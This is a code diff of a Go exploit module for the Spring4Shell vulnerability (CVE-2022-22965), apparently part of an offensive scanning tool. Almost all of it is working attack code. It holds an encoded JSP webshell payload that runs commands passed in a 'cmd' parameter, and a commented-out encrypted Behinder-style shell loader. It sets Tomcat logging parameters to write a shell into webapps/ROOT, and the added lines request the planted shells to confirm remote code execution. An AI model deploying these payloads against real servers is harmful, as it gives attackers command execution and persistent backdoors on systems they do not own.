@@ -15,8 +15,8 @@ type CVE202222965 struct{}
1515const (
1616 body = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
1717 context = "%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
18- // body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
19- body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=G:\\ source\\ spring-framework-rce\\ target\\ spring_framework_rce-0.0.1-SNAPSHOT\\ &class.module.classLoader.resources.context.parent.pipeline.first.prefix="
18+ body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
19+ // body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=G:\\source\\spring-framework-rce\\target\\spring_framework_rce-0.0.1-SNAPSHOT\\&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
2020 // 添加 shell 文件名
2121 body2 = "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
2222 //behinder = "%25%7Bprefix%7Di%20%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%7Bsuffix%7Di%20%25%7Bprefix%7Di%20!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Di%20if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%7Bsuffix%7Di"
@@ -80,12 +80,30 @@ func (p CVE202222965) SendPoc(target string, hashmap map[string]interface{}) {
8080 utils .Send (reqmap )
8181 // Changes take some time to populate on tomcat
8282 time .Sleep (time .Second * 3 )
83+ if f == 1 {
8384
84- r , _ := url .Parse (target )
85- log .Info ("[+] CVE202222965 poc success" )
86- res := target + " 可能存在CVE202222965没有进行验证 手动验证: " + r .Scheme + "://" + r .Host + "/" + shellname + ".jsp" + "?cmd=whoami or " + r .Scheme + "://" + r .Host + "/" + shellname1 + ".jsp 哥斯拉 pass key "
87- log .Info (res )
88- p .SaveResult (res , hashmap ["Out" ].(string ))
85+ r , _ := url .Parse (target )
86+ log .Info ("[+] CVE202222965 poc success" )
87+ cmdshell := r .Scheme + "://" + r .Host + "/" + shellname + ".jsp"
88+ beichenshell := r .Scheme + "://" + r .Host + "/" + shellname1 + ".jsp"
89+ reqmap ["url" ] = cmdshell
90+ reqmap ["method" ] = "GET"
91+ reqmap ["body" ] = ""
92+ reqmap ["headers" ] = post_get_headers
93+ resp1 := utils .Send (reqmap )
94+ reqmap ["url" ] = beichenshell
95+ resp2 := utils .Send (reqmap )
96+ if resp1 != nil && resp2 != nil {
97+ if p .CheckExp (resp1 , cmdshell , hashmap ) && p .CheckExp (resp2 , beichenshell , hashmap ) {
98+ log .Info ("[+] CVE202222965 poc success" )
99+ res := target + " 可能存在CVE202222965没有进行验证 手动验证: " + r .Scheme + "://" + r .Host + "/" + shellname + ".jsp" + "?cmd=whoami or " + r .Scheme + "://" + r .Host + "/" + shellname1 + ".jsp 哥斯拉 pass key "
100+ log .Info (res )
101+ p .SaveResult (res , hashmap ["Out" ].(string ))
102+ }
103+
104+ }
105+
106+ }
89107
90108 // 第三个请求
91109 reqmap ["method" ] = "GET"
@@ -112,8 +130,15 @@ func (p CVE202222965) SaveResult(target string, file string) {
112130}
113131
114132func (p CVE202222965 ) CheckExp (resp * req.Response , target string , hashmap map [string ]interface {}) bool {
133+ defer func () {
134+ if err := recover (); err != nil {
135+ log .Error ("[-] CheckExp error: " , err )
136+ }
137+ }()
138+
115139 if resp .IsSuccess () {
116140 return true
117141 }
142+
118143 return false
119144}
0 commit comments